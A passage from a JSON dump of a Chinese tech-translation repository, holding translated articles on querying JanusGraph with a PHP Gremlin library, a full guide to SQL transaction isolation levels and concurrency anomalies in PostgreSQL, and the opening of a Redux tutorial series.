`users_id:5` 创建了 `tweets_id:7` ，则序列化的 gremlin 命令将如下所示：\r\n\r\n```\r\nif (g.V().hasLabel('users').has('users_id',5).hasNext() == true  \r\n   && g.V().hasLabel('tweets').has('tweets_id',7).hasNext() == true) \r\n     { \r\n       g.V().hasLabel('users').has('users_id',5).next().addEdge('tweeted', \r\n         g.V().hasLabel('tweets').has('tweets_id',7).next()) \r\n     }\r\n```\r\n\r\n因此，两个顶点查询是一个事务，然后在`users` 与 `tweets` 之间创建两条边\b缘。请注意，因为一个用户可以多次发 tweet ，但每个 tweet 只能有一个拥有者，所以其重复性为 `ONE2MANY`。\r\n\r\n如果边缘类具有像 `tweeted_on` 或 `tweeted_from` 这样的属性，那么库就会像顶点一样适当地序列化它们。\r\n\r\n### JanusGraph 查询\r\n\r\n我们处理了抓取和保存的数据。数据查询也是库帮助完成的。`TheDonHimself\\Traversal\\TraversalBuilder` 类提供了几乎与 gremlin 完美匹配的本地API。例如，在 TwitterGraph 中获取用户可以实现如下。\r\n\r\n```\r\n$user_id = 12345;\r\n$traversalBuilder = new TraversalBuilder();\r\n$command = $traversalBuilder\r\n ->g()\r\n ->V()\r\n ->hasLabel(\"'users'\")\r\n ->has(\"'users_id'\", \"$user_id\")\r\n ->getTraversal();\r\n```\r\n\r\n获取用户时间线这样稍微复杂的例子可以通过以下方式实现。\r\n\r\n```\r\n$command = $traversalBuilder\r\n ->g()\r\n ->V()\r\n ->hasLabel(\"'users'\")\r\n ->has(\"'screen_name'\", \"'$screen_name'\")\r\n ->union(\r\n (new TraversalBuilder())->out(\"'tweeted'\")->getTraversal(),\r\n (new TraversalBuilder())->out(\"'follows'\")->out(\"'tweeted'\")->getTraversal()\r\n )\r\n ->order()\r\n ->by(\"'created_at'\", 'decr')\r\n ->limit(10)\r\n ->getTraversal();\r\n```\r\n\r\n详细步骤可以在 `\\TheDonHimself\\Traversal\\Step` 类中找到.\r\n\r\n### GraphQL 到 Gremlin\r\n\r\n有一个[独立的尝试](https://github.com/The-Don-Himself/graphql2gremlin) 来创建一种支持 GraphQL to Gremlin 命令的标准。它处于早期阶段，只支持查询而不支持变更。既然它也是我写的，Gremlin-OGM 库当然也支持这个标准，希望随着时间的推移会有所改进。\r\n\r\n### JanusGraph 可视化\r\n\r\n可悲的是，它没有像关系数据库，文档数据库和键值数据库那样多的 Graph Database GUI。其中[Gephi](https://gephi.org/)，可用于通过流式插件来可视化 JanusGraph 数据和查询。与此同时，撰写有 JanusGraph 的数据浏览器，可以使用它来显示 TwitterGraph 的一些查询。\r\n\r\n**_将我关注的 5 位用户可视化_**\r\n\r\n```\r\ndef graph = ConfiguredGraphFactory.open(\"twitter\");  \r\ndef g = graph.traversal();  \r\ng.V().hasLabel('users').has('screen_name',  \r\n   textRegex('(i)the_don_himself')).outE('follows').limit(5).inV().path()\r\n```\r\n\r\n![](https://res.cloudinary.com/dyyck73ly/image/upload/v1518101970/ayytldgnf3dkgsfdee1p.png)\r\n\r\n**_可视化 5 位关注我的用户_**\r\n\r\n```\r\ndef graph = ConfiguredGraphFactory.open(\"twitter\");  \r\ndef g = graph.traversal();  \r\ng.V().hasLabel('users').has('screen_name',  \r\n    textRegex('(i)the_don_himself')).inE('follows').limit(5).outV().path()\r\n```\r\n\r\n![](https://res.cloudinary.com/dyyck73ly/image/upload/v1518101893/n0j7ww7h8qxs1hcif8xc.png)\r\n\r\n**_可视化我喜欢的 5 条推文_**\r\n\r\n```\r\ndef graph = ConfiguredGraphFactory.open(\"twitter\");  \r\ndef g = graph.traversal();  \r\ng.V().hasLabel('users').has('screen_name',  \r\n    textRegex('(?i)the_don_himself')).outE('likes').limit(5).inV().path()\r\n```\r\n\r\n![](https://res.cloudinary.com/dyyck73ly/image/upload/v1518101950/lfnrx0ybr5d8bzkji1wb.png)\r\n\r\n**_可视化任意 5 条转推以及原推_**\r\n\r\n```\r\ndef graph = ConfiguredGraphFactory.open(\"twitter\");  \r\ndef g = graph.traversal();  \r\ng.V().hasLabel('tweets').outE('retweets').inV().limit(5).path()  \r\n```\r\n\r\n![](https://res.cloudinary.com/dyyck73ly/image/upload/v1518101928/upna6igufcbyf4o0y3dr.png)\r\n\r\n现在您拥有了它。一个功能强大、考虑周、操作简单的库，它可帮助您在几分钟内开始使用 PHP 操作 JanusGraph 。如果您使用了令人惊叹的 Symfony 框架，那么您的运气会更好。即将发行的软件包 [Gremlin-OGM-Bundle](https://github.com/the-don-himself/gremlin-ogm-bundle) 将帮助您将数据从 RDBMS 或 MongoDB 复制到 Tinkerpop 3+ 兼容图形数据库中。请享用！\r\n\r\n\r\n---\r\n\r\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\r\n"
  },
  {
    "path": "TODO/practical-guide-sql-isolation.md",
    "content": "\n> * 原文地址：[Practical Guide to SQL Transaction Isolation](https://begriffs.com/posts/2017-08-01-practical-guide-sql-isolation.html)\n> * 原文作者：[Joe Nelson](http://github.com/begriffs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/practical-guide-sql-isolation.md](https://github.com/xitu/gold-miner/blob/master/TODO/practical-guide-sql-isolation.md)\n> * 译者：[sigoden](https://github.com/sigoden)\n> * 校对者：[mnikn](https://github.com/mnikn), [tmpbook](https://github.com/tmpbook)\n\n# SQL 事务隔离实用指南\n\n你可能已经在你的数据库文档中看到过隔离级别这一个概念，虽然感到有点不安，但是并没有太放在心上。一些日常的例子中使用到的事务本质上是隔离。大多数人使用数据库的默认隔离级别，并期望得到最好结果。隔离级别是一个必须要理解的基本概念，而且如果你花点时间学习这个指南，你会觉得生活更惬意。\n\n我从学术论文中，从 PostgreSQL 文档中，在与同事就**什么是**隔离级别，**什么时候**使用它们能在保持应用程序的正确性的同时获得最大运行效率等问题答案的讨论中收集了本文需要的信息。\n\n## 基本定义\n\n为了正确理解 SQL 隔离级别，我们需要先思考事务本身。事务的概念来自于如下契约规则：合法交易必须具有原子性（所有条款都同时适用或同时失效），一致性（遵守法律协议），持久性（承诺后各方不能收回承诺）。这些性质就是数据库管理系统中众所周知的缩写词 ACID 中的 A，C 和 D。最后一个字母 I，意思是隔离，就是本文要重点讨论的了。\n\n在数据库中而非法律意义中，事务是一组操作，将数据库从一个一致性状态转变到另一个一致状态。这意味着，如果所有的数据库一致性约束条件在执行事务前是满足的，那么在执行后仍然是满足的。\n\n数据库能将这一思想更进一步，在每一条 SQL 数据变更语句中都强加约束吗？现有的 SQL 命令做不到。它们表达力不足以保证用户的每一步执行都保持一致性。举一个经典的例子，将一个银行帐户的钱转移到另一个账户这个过程中，在我们将钱从一个账户扣除之后，并把钱计入另一个账户之前，存在着一个暂时的不一致状态。因为这个原因，事务而不是语句被作为一致性的基本单位。\n\n在这一观念之上，我们可以想象事务在数据库上连续运行着，并一直等待直到轮到它来独自处理数据的时候。在这个有序的世界中，数据库将从一个一致的状态移动到另一个一致的状态，中途会短暂地出现的不一致状态，但并不会造成有害的影响。\n\n然而，串行事务这么乌托邦的事情在任何多用户数据库系统都几乎是不可行的。想象一下，一家航空公司的数据库因为一个用户预定航班而被锁定，导致**任何人**都无法访问。\n\n值得庆幸的是完全串行执行事务通常是不必要的。许多事务不会对其它事务产生干扰，因为它们更新或读取的信息被完全隔离。同时运行此类事务（交错执行其命令）的最终结果与选择在另一个事务之前才运行这个事务没有什么区别。这种情况下的事务，我们称之为**可串行化**。\n\n然而，并行执行事务确实有造成冲突的风险。没有数据库监督，事务会干扰彼此的工作数据，并运行在不正确的数据库状态中。这可能会导致查询结果不正确和违反约束。\n\n现代数据库提供了一些方式自动地选择性地在一个事务中通过低延时或重试命令来避免干扰。数据库为了预防事务间的干涉提供了几种严格程度递增的模式，被称作隔离级别。更高等级的隔离级别在检测和处理冲突上更有效，但也更耗费资源。\n\n并发事务提供了不同等级的隔离级别给开发者，开发者能够平衡并发量和吞吐量，由此来确定隔离等级。较低的隔离级别会提高事务并发量，但也增加了事务运行在某种不正确数据库状态中的风险。\n\n我们首先要理解哪些并发交互会对应用所需的查询操作造成威胁，然后才能选择合适的隔离等级。正如我们将看到的，有时一个应用程序可以通过手动操作（如采取显示锁定）来降低它常规情况下需要的隔离级别。\n\n在研究隔离级别之前，让我们先停下来看看“动物园”中圈养的事务问题。文献称这类问题为“事务现象”。\n\n## 事务现象“动物园”\n\n对于每一种现象，我们将深入探究它并发命令示意图，分析它为什么有问题，它在何种情况下可以被接受，以及它在什么情况下是我们为达到特定效果有意使用的。\n\n我们将用一种速记符号表示事务 T1 和 T2 的执行。下面是一些例子：\n\n- `r1[x]` —— T1 读取行 x 的值\n- `w2[y]` —— T2 写入行 y 的值\n- `c1` —— T1 提交\n- `a2` —— T2 中断\n\n### 脏写\n\n事务 T1 修改条目，事务 T2 在事务 T1 提交或回滚前进一步修改。\n\n![脏写示意图](https://begriffs.com/images/isolation-dirty-write.jpg)\n\n#### 模型\n\n![w1[x]…w2[x]…(c1 or a1)](https://begriffs.com/images/isolation-diagram-dw.png)\n\n#### 危害\n\n如果我们允许脏写，那么我们将不能确保一定可以回滚事务，想一下这种情况：\n\n- { 数据库在状态 A }\n- w1[x]\n- { 数据库在状态 B }\n- w2[x]\n- { 数据库在状态 C }\n- a1\n\n我们应该回退到状态 A 吗？不，因为那样我们会失去 w2[x] 。所以我们应该保持在状态 C。如果 c2 发生那么一切就正常了。然而如果 a2 发生了会怎样？我们不能回退到状态 B，因为那样会丢弃 a1。但我们不能回退到状态 C，因为那样会丢弃 a2。归谬法可以论证。\n\n因为脏写打破了事务的原子性，即使是在最低隔离级别，没有任何的关系数据库允许这些操作。通过抽象的方式考虑这个问题，是很具有启发性的。\n\n脏写还会破坏一致性。例如，假设约束是 x=y。事务 T1 和 T2 单独执行都能保证约束，但是它们一起执行将违法约束。\n\n- start, x = y = 0\n- w1[x=1] … w2[x=2] … w2[y=2] … w1[y=1]\n- now x = 2 ≠ 1 = y\n\n#### 合理用法\n\n在任何情况下，脏写的都是没有意义的，也不能提供便捷。因此，没有数据库允许它们。\n\n### 脏读\n\n一个事务读取了另一个未提交的并发事务写入的数据。（同上面的情景，未提交的数据被视为“脏”）。\n\n![脏写示意图](https://begriffs.com/images/isolation-dirty-read.jpg)\n\n#### 模型\n\n![w1[x]…w2[x]…(c1 or a1)](https://begriffs.com/images/isolation-diagram-dr.png)\n\n#### 危害\n\n假设 T1 修改行后，T2 读取了它，接着 T1 回滚了。现在 T2 就持有了“不存在\"的一行数据。基于不存在的数据对未来做决策是不正确的。\n\n脏读，也为违反约束大开方便之门。假设存在约束 x=y。接着假设 T1 同时将 x 和 y 的值增加 100，T2 同时将值翻倍。任何一个事务单独执行时都能保证 x=y。但脏读 w1[x += 100], w2[x \\*= 2], w2[y \\*= 2], w1[y += 100] 违反了约束。\n\n最后，即使没有对并发事务进行回滚，在另一个事务进行中间操作时启动的事务也会因为脏读从而造成数据库状态不一致。我们希望事务启动时处于一个一致的状态。\n\n#### 合理用法\n\n当一个事务需要追踪另一个事务时，脏读是有用的，例如调试和进度监控。也比如，当有一个事务在插入数据时再开一个事务反复运行 COUNT(\\*) 以获取插入速度／进度，但这也仅适用于脏读不产生危害时。\n\n此外，脏读这种现象不会发生在对早已不再变动的历史信息进行查询的时候。没有新的写入就不会产生问题。\n\n### 不可重复读，不对称读\n\n事务读取它先前已读取过的数据时，发现它已经被另一个事务更改了（在初次读操作之后有发生提交）。\n\n注意，这不同于脏读，因为另外的事务进行过提交。此外这种现象需要两次读取才会显现。\n\n![不可重复读示意图](https://begriffs.com/images/isolation-non-repeatable.jpg)\n\n#### 模型\n\n![r1[x]…w2[x]…c2…r1[x]…c1](https://begriffs.com/images/isolation-diagram-nrr.png)\n\n上面的过程涉及到两个值时称作不对称读：\n\n![r1[x]…w2[x]…w2[y]…c2…r1[y]…(c1 or a1)](https://begriffs.com/images/isolation-diagram-rs.png)\n\n不可重复读是一种特殊形式的读倾斜：b=a\n\n#### 危害\n\n如同脏读，不可重复读允许一个事务读取一个不一致的状态。它发生的方式稍微不同。假设存在约束 x=y。\n\n- start, x = y = 0\n- r1[x] … w2[x=1] … w2[y=1] … c2 … r1[y]\n- 从 T1 的视角看 x = 0 ≠ 1 = y\n\nT1 至始至终没有读取任何脏数据，但读取过程中 T2 插入，改变一些值，并在 T1 再次读取前进行了提交。注意这个违规操作甚至不要求 T1 重新读取相同的值。\n\n不对称读可能造成两个相关元素之间的约束被破坏。例如，假设存在约束 x+y > 0，且：\n\n- start, x = y = 50\n- r1[x] … r1[y] … r2[x] … r2[y] … w1[y=-40] … w2[x=-40] … c1 … c2\n- T1 和 T2 各自观察到 x+y=10，但它们一起提交后导致 x y 的和为 -80。\n\n另一个涉及到两个值的违法约束的情况出现在外键和其目标之间。不对称读会让它们混乱。例如，T1 从一个与表 B 相关联的表 A 中读取了一行，但是 T2 从表 B 中删除了该行并进行了提交，这造成表 A 觉得行仍存于表 B 但却无法读取到它。\n\n当备份数据库的同时运行事务将是灾难性的，因为观察到的状态可能不一致，将造成无法执行还原。\n\n#### 合理用法\n\n非可重复读允许访问最新提交的数据。这可能在对大数据（或经常重复数据）进行聚合报告时有用，因为它们可以容忍读操作时短暂地违反约束。\n\n### 幻读\n\n事务再次执行返回一组满足搜索条件的行的查询时，发现满足该条件的行的集合由于另一个刚刚提交的事务而发生了更改。\n\n幻读类似于不可重复读，但幻读发生的条件是其匹配查询条件的集合改变了，而不是单条数据。\n\n![幻读示意图](https://begriffs.com/images/isolation-phantom-read.jpg)\n\n#### 模型\n\n![r1[P]…w2[y in P]…c2…r1[P]](https://begriffs.com/images/isolation-diagram-pr.png)\n\n#### 危害\n\n有一种情况是，当一个表包含代表资源分配的行（如雇员和他们的工资）时，其中一个事务作为“调控者”会增加每行代表的资源，而另一个事务会插入新行。幻读会包含新行，使调控者预算超标。\n\n再举一个相关例子。考虑这样一个约束：它要求一系列工作任务排单后总时长不能超过 8 小时。T1 读取了排单，发现总时长只有 7 个小时，于是它添加了一个时长 1 小时的新任务，同时并发事务 T2 也做了同样的事情。\n\n#### 合理用法\n\n分页查询结果中的新返回页面包含新添加条目就很合适。同样，插入或删除项目后用户翻页时商品条目能自动调整。\n\n### 更新丢失\n\nT1 读取了一条数据，同时 T2 更新了这条数据。T1 根据读取的内容也更新了这条数据，然后提交。T2 进行的更新丢失了。\n\n![更新丢失示意图](https://begriffs.com/images/isolation-lost-update.jpg)\n\n#### 模型\n\n![r1[x]…w2[x]…w1[x]…c1](https://begriffs.com/images/isolation-diagram-lu.png)\n\n#### 危害\n\n在某些方面，这几乎感觉不到异常。这并不会违反数据库约束，因为更新丢失只是造成一些工作没有提交而已。这种情况与应用程序连续对同一个值进行两次提交类似。\n\n然而，这毕竟是一个异常，任何其他事务都没有机会看到更新，而且 T2 的提交行为变得像回滚一样。但一批命令串行执行时**有些命令**可能观察到变化，至少它们在检查值的时候可以。\n\n在真实世界里，应用程序在执行读和写操作时，丢失更新会造成特别恶劣的影响。\n\n例如，同时有两人试图购买某个活动剩下的最后一张入场券，这触发了两个事务，事务读取到还剩下一张未卖出的票。应用程序在单独线程中生成可打印票据并将其加入邮件队列，同时修改剩余票数为 0。在两个更新同时完成后，剩余票数为 0，这是正确的。然而有一个客户收到的邮件中的票据是重复的。\n\n最后，请注意，当应用程序（通常通过 ORM）更新行中的所有列，而不仅仅是那些自读取后才更改的列时，丢失更新的风险会增加。\n\n#### 合理用法\n\n在像 `UPDATE foo SET bar = bar + 1 WHERE id = 123;` 这样的原子读取并更新语句中，更新丢失是不会发生的，因为其它事务不能在 bar 的值读取和更新之间执行写操作。这种现象发生在应用程序读取条目，内部对它进行计算，接着写入新值的过程中间。我们之后会深入分析。\n\n有时候应用程序在历史更新中丢失一些值是可以接受的。传感器频繁的覆盖它通过多线程度量到的值，我们也只需要读取它最近记录的有意义的值。这种情况下，虽然略有做作，但可以容忍更新丢失。\n\n### 不对称写\n\n两个并发事务读取对方正在写入的数据集来确定它们写入的内容。\n\n![不对称写示意图](https://begriffs.com/images/isolation-write-skew.jpg)\n\n#### 模型\n\n![r1[x]…r2[y]…w1[y]…w2[x]…(c1 and c2 occur)](https://begriffs.com/images/isolation-diagram-ws.png)\n\n注意，如果 b=a 那么上述情况就变成了更新丢失。\n\n#### 危害\n\n不对称写造成事务历史不可序列化。回想一下，这意味着一个接着一个运行事务得到的结果没有办法与交错运行时相同。\n\n我见过的最明显的例子是黑白行。照搬 PostgreSQL 维基文档：有下面一种情况，一些行包含一个颜色列，它的值或是“黑”或是“白”。有两个用户同时试图将所有行的颜色变得一致，但是它们尝试的方向却是反的。一个用户试图将所有行的颜色变为黑色，另一个用户试图将所有行的颜色变为白色。\n\n如果这些更新是串行执行的，所有的颜色最终会变得一致。然而如果没有任何数据库保护措施，交错更新将简单的相互逆转，留下一堆混合的颜色。\n\n不对称写也会打破约束。假设我们要求 x + y ≥ 0。且\n\n- start, x = y = 100\n- r1[x] … r1[y] … r2[x] … r2[y] … w1[y=-y] … w2[x=-x]\n- now x+y = -200\n\n两个事务都读到 x 和 y 的值是 100，所以对单个事务来说将某个值变为负数是可以的，得到的和仍然是非负数。然而它们同时将值变为负导致 x+y=-200，这违反了约束。想要感性的理解的话可以类比银行账户，银行账户的账户收支可以为负数，只要总的余额保持非负数。\n\n### 只读串行异常\n\n事务可以看到更新了的用来指示批处理已完成的控制记录，但未看到其中一个记录着批处理逻辑部分的详细记录，因为它读取的是早期的控制记录修订。\n\n前面列举的异常只需要两个并发事务就能产生，但是这个需要是三个。它在 2004 年被发现后就一直引人注意，因为它揭示了快照隔离级别（稍后讨论）的缺陷，且它是唯一一个在不执行写入的三个事务的执行中表现出来的异常。\n\n![只读异常示意图](https://begriffs.com/images/isolation-read-only-anom.jpg)\n\n#### 模型\n\n事务竞争进行如下三件事，\n\n- T1: 为当前批处理生成报告\n- T2: 为当前批处理添加新的任务\n- T3: 将新的批处理激活成“当前”\n\n![r2[b]…w3[b++]…r1[b]…r1[S_b]…w2[s in S_b]](https://begriffs.com/images/isolation-diagram-ro.png)\n\n#### 危害\n\n历史证明上述异常不可串行化。顺序执行事务带来不变性，即在生成报告的事务显示了特定批次的总数之后，后续事务不能更改总数。\n\n数据库一致性保持完好，这种异常，仅导致报告的结论是不正确的。\n\n#### 合理用法\n\n鉴于直到 2004 年才有人注意到这种现象，它不太可能像其它现象那样容易引发问题。尽管它在任何时候都不该出现，但它也不是很严重。\n\n### 其它？\n\n我们已经罗列了所有可能出现的事务异常现象吗？这很难知道；ANSI SQL-92 标准表示它们已经列出了所有异常：脏读，不可重复读，幻读。直到 1995 年，贝伦森等人才发现其他串行异常，只读异常直到 2004 年被指出。\n\n第一个关系数据库使用锁来管理并发。SQL 标准用事务现象而不是锁来描述问题，它允许基于非锁的策略来实现标准。然而，标准作者未能发现其他异常的原因是因为他们发现的三个异常都是“伪装的锁”。\n\n我不知道是否还有更多的没有列出的事务异常现象，但似乎很有可能有。现在有众多论文在研究可串行性本身的性质，因为它看起来像理论基础。\n\n## 隔离级别\n\n商业数据库通过一系列隔离级别实现并发控制，这些隔离级别实际上是受控的反串行。应用程序为了获得较高的性能通常选择较低的隔离级别。高的隔离级别意味着更好的事务执行效率和更短的事务平均响应时间。\n\n如果你理解了上一节中“动物园”中的并发问题，那么你也充分地睿智地理解了如何为应用程序选择正确的隔离级别了。这里需要深入理解的不是隔离级别**如何**防止了异常现象，而是隔离级别阻止了**什么**异常现象。\n\n![隔离级别节点图](https://begriffs.com/images/isolation-levels.png)\n\n在最顶部，串行化时任何异常现象都不会发生。随着箭头，阻止标记着的异常发生的保护逻辑被移除。\n\n蓝色的三个节点表示的隔离级别被 PostgreSQL 提供。令人费劲的地方是 SQL 规范提供的隔离级别数不足，PostgreSQL 将这些规范中的定义的隔离级别映射到它实际支持的隔离级别。\n\n| 你需要的 | 你得到的 |\n| --- | --- |\n| 串行化 | 串行化 |\n| 可重复读 | 快照隔离 |\n| 读已提交 | 提已提交 |\n| 读未提交 | 读已提交 |\n\n例如：\n\n> BEGINISOLATIONLEVEL REPEATABLE READ;\n>\n> -- 现在我们进入快照隔离\n\n读已提交是默认的隔离级别，现在想象一下，如果你现有的应用程序没有采取预防措施，你可能遇到的并发问题。\n\n### 乐观 vs 悲观\n\n正如前面所提到的，我们不必深入了解每一个 PostgreSQL 隔离级别可以防止哪些并发现象，但是我们需要了解两种一般性方法：乐观和悲观并发控制。这是因为每一种方法对应不同的应用程序设计技术要求。\n\n悲观并发控制将对数据库行进行锁定，以强制事务等待其执行读写操作的时机。因为它总是需要时间来获取和释放锁，沮丧地假设会有冲突，所以叫做“悲观”。\n\n乐观控制不会占用锁，它只是为每个事务生成单独的数据库当前状态快照，观察可能发生的冲突。如果一个事务干扰了另一个事务，数据库将阻止造成干扰的事务并清除它完成的作业。这种方式是有效的，因为干扰其实很少见。\n\n遇到冲突的数量取决于以下几个因素：\n\n- 对单个行的竞争。如果试图更新同一行的事务的数量增加，造成冲突的可能性会变大。\n- 隔离级别为不可重复读时读取了多行。读的行越多，并发事务可能更新同样的行的机会越大。\n- 隔离级别在阻止幻读级别时的扫描范围尺寸。扫描的范围越多，并发事务遭遇幻行的可能性越大。\n\n在 PostgreSQL 中，有两种使用乐观并发控制的隔离级别：可重复读（实际就是快照隔离）和可串行化。**这些隔离级别并不是万能药，撒在不安全的应用程序上，就能解决所有的问题。**使用它们需要修改应用逻辑。\n\n在构建一个与使用隔离级别由乐观并发控制的 PostgreSQL 交互的应用程序时必须小心。要知道任何变更在提交前都是不确定的，所有作业在一瞬时都可能被抹除。应用程序必须时刻准备着，如果检查到查询返回错误 40001 （代表 `serialization_failure`），就要重新执行事务。通用，应用程序在这种事务中不应该执行不可逆的真实操作。应用程序必须使用悲观锁来包含这种行为，或者在收到成功提交的结果后再执行操作。\n\n你可能觉得可以在一个 PL/pgSQL 函数中缓存串行化异常并执行重试，可惜重试不能在那儿执行。整个函数运行在一个事务**内部**, 在调用前就失去了对执行的控制。不幸的是在提交的时刻发生串行错误的可能性最大，而对于函数来说，已经来不及进行捕捉了。\n\n重试必须由数据库客户端进行控制。许多语言提供了帮助函数来处理类似任务。这儿列举了一些。\n\n- Haskell: [hasql-transaction](https://hackage.haskell.org/package/hasql-transaction) 自动重试并且在禁止任何不可重复的副作用的 Monad 下运行事务\n- Python: [psycopg2 how to retry](https://www.slideshare.net/petereisentraut/programming-with-python-and-postgresql)\n- Ruby: [auto-retrying in sequel](https://github.com/jeremyevans/sequel/blob/master/doc/transactions.rdoc#automatically-restarting-transactions) or the [transaction_retry gem](https://github.com/qertoip/transaction_retry)\n\n因为重新生成事务很浪费，所以最好在有限的时间内存储事务已避免作业丢失。\n\n### 低隔离级别补偿\n\n一般来说，最好使用合适的隔离级别，以避免异常和查询的扰乱。最好让数据库做它最擅长的。然而，如果你确定某些异常不会发生在您的使用场景，你可以选择使用一个包含悲观锁的低隔离级别。\n\n例如我们可以在读和更新之间添加一个锁来避免读提交事务的更新丢失。这只需要我们在选择类语句中添加 \"For Update\"。\n\n    BEGIN;\n\n    SELECT *\n      FROM player\n     WHERE id = 42\n      FOR UPDATE;\n\n    -- 一些游戏逻辑\n\n    UPDATE player\n      SET score = 853\n    WHERE id = 42;\n\n    COMMIT;\n\n任何试图选择同样的行进行更新的事务都会阻塞，直到第一个事务完成操作为止。这个使用选择的更新技巧甚至可以在串行事务中被用来避免串行错误导致的重试，特别是你本打算在应用程序中采取非幂操作时。\n\n最后，你可以冒着计算不准的风险使用较低的隔离级别。快照隔离级别被采用的一个主要原因是它比串行有更好的性能，同时还避免了大部分串行化能避免的并发异常。如果在你的场景中不会发生不对称读，你可以降低隔离级别使用快照。\n\n## 引用的源和进一步阅读\n\n感谢那些为我写的这篇文章提供建议的人。\n\n- 在 Freenode IRC 频道 #postgresql 上：Andrew Gierth (RhodiumToad) and Vik Fearing (xocolatl)\n- 私人对话：Marco Slot，Andres Freund，Samay Sharma，和来自 [Citus Data](https://www.citusdata.com) 的 Daniel Farina\n\n进一步的阅读\n\n- [Joe Celko’s SQL for Smarties](http://shop.oreilly.com/product/9780128007617.do), chapter 2\n- [A Critique of ANSI SQL Isolation Levels](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/tr-95-51.pdf)\n- [Transaction Isolation](https://www.postgresql.org/docs/current/static/transaction-iso.html) in PostgreSQL docs\n- [A Read-Only Transaction Anomaly Under Snapshot Isolation](http://www.cs.umb.edu/~poneil/ROAnom.pdf)\n- [Serializable Snapshot Isolation in PostgreSQL](http://vldb.org/pvldb/vol5/p1850_danrkports_vldb2012.pdf)\n- [Data Consistency Checks at the Application Level](https://www.postgresql.org/docs/current/static/applevel-consistency.html) in the PostgreSQL docs\n- [The Transaction Concept: Virtues and Limitations](http://jimgray.azurewebsites.net/papers/thetransactionconcept.pdf)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/practical-redux-part-0-introduction.md",
    "content": "> * 原文地址：[Practical Redux, Part 0: Introduction](http://blog.isquaredsoftware.com/2016/10/practical-redux-part-0-introduction/)\n* 原文作者：[Mark Erikson](https://twitter.com/acemarke)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[luoyaqifei](http://www.zengmingxia.com)\n* 校对者：[xuxiaokang](https://github.com/xuxiaokang)，[richardo2016](https://github.com/richardo2016)\n\n# 实践 Redux，第 0 部分：简介\n\n\n**基于个人经验的 Redux 技术总结系列的开端**\n\n#### 系列目录\n\n*   **第 0 部分：系列简介**\n*   **[第 1 部分：Redux-ORM 基础](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-1-redux-orm-basics.md)**\n*   **[第 2 部分：Redux-ORM 概念和技术](https://github.com/xitu/gold-miner/blob/master/TODO/practical-redux-part-2-redux-orm-concepts-and-techniques.md)**\n\n我在学习 Redux 上面花了很多时间，参考了很多不同的资料。我早期的学习大多来自读文档、搜寻在线教程以及潜伏在 Reactiflux 聊天频道里。当我更加熟悉 Redux 后，我在回答问题和研究如何帮助 Reactiflux、StackOverflow 和 Reddit 里的其他人上面获得了一些经验。在维护我的 [React/Redux 链接列表](https://github.com/markerikson/react-redux-links) 和 [Redux 插件目录](https://github.com/markerikson/redux-ecosystem-links) 的过程里，我尝试着找寻一些深入探讨在创建实际应用时遇到的复杂性和问题的文章，以及一些可以让大家能更好地编写 Redux 应用的库。最后，我也通过 Redux 仓库里茫茫多的 issue 和讨论来研究它（因此，我甚至成为了 Redux 的官方维护人员）。\n\n除了所有的这些研究，我也花了去年的多数时间在我的工作应用里使用 Redux。在我开发这个应用的过程中，我遇到了各种各样的挑战，并在这个过程中开发出了一些有趣的工具和技术。既然我从别人的文章里学到了这么多，我也想开始回馈大家，分享一些我从自己的经验里学到的东西。\n\n**这一系列关于「实践 Redux」的文章将包括我开发自己的应用时用到的一些小窍门、技术和概念**。因为我不能真把工作中开发的具体细节分享出来，所以我将创造一些实例场景来帮助我阐述这些想法。我将基于由 [Battletech 游戏宇宙](http://bg.battletech.com/) 中的概念衍生的实例进行讲解：\n\n*   [Battlemech](http://bg.battletech.com/) 是一种飞行行走机器人，装备了各种武器，比如导弹，激光和自动枪。一个 Battlemech 有一个飞行员。\n*   有多种不同类型的 Battlemech。每种类型有一个不同的尺寸和一套数据设定，包括它携带的武器和其它装备。\n*   Battlemech 被组织成四个 mech 的小组，每个小组被称为 [“Lance”](http://www.sarna.net/wiki/Inner_Sphere_Military_Structure#Lance)。三个 lance 形成了一个「公司」。\n\n随着系列的推进，我希望能够真正地开始创建一个小应用来展示一些实际工作环境中的例子。暂定计划是创建一个应用，追踪在虚拟的作战部队中服役的飞行员与其 mech，就像已有的 [MekHQ 游戏活动跟踪应用](http://megamek.info/mekhq)的微型版本。这些从 MekHQ 的截图展示了一些概念和我想要模仿的 UI：\n\n*   [MekHQ: 可选飞行员清单和选定飞行员详情](https://sourceforge.net/p/mekhq/screenshot/Screen%20Shot%202012-09-25%20at%2012.19.38%20PM.png)\n*   [MekHQ: mech 和飞行员在部队中的组织树](https://sourceforge.net/p/mekhq/screenshot/Screen%20Shot%202012-09-25%20at%2012.16.47%20PM.png)\n*   [MekHQ: Battlemech 